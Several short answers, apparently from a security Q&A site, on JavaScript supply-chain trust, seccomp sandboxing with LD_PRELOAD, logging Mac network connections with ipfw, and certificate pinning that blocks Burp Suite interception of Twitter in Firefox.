My personal opinion- web/js projects are generally not trustworthy, as the ecosystem is exceptionally weak when it comes to supply chain security. That said, I would not be unusually concerned about a large Alibaba-produced open source library in wide use. I would be more concerned about small node projects deeply enmeshed in the dependency graph.

Concerns about Chinese IT are in products in which visibility, much less security analysis, into the end product or production process is significantly more difficult than in open source- areas like chips, hardware, and algorithms.


Is it possible to use systemd seccomp filtering for running applications from command line?

I don't believe this is possible with systemd. Even if it were, it wouldn't be particularly useful because many libc (and other common library) initialization routines result in the use syscalls that the program will no longer need. Your best bet is to patch the programs, or hook them with LD_PRELOAD to enable a custom seccomp filter after everything has been initialized properly. At the very minimum, you can hook __libc_start_main. There is Google's minijail which can provide some protection, though.


How save, on a log file, all IP inbound/outbound connected to my Mac under MacOsX 10.9.5?

A log file of connections can easily be generated by a logging rule for your packet filter of choice on a Unix system.

For Mac OS, I think that is ipfw.

Feel free to chose a tutorial of your liking on how to configure ipfw to generate the logs you specifically want - or ask a more refined question that details what exactly you want to have logged over at SU or another more appropriate stack exchange site that focuses on application questions like Unix or Mac OS.


SSL interception with Burp Suite using Firefox - Strange behavior when intercepting twitter

This is a security feature called certificate pinning (or public key pinning). In this case the browser knows which certificate (or public key) to expect and refuses any attempts to override it by the user. Twitter is included for public key pinning since Firefox 32.

See https://wiki.mozilla.org/SecurityEngineering/Public_Key_Pinning for more details.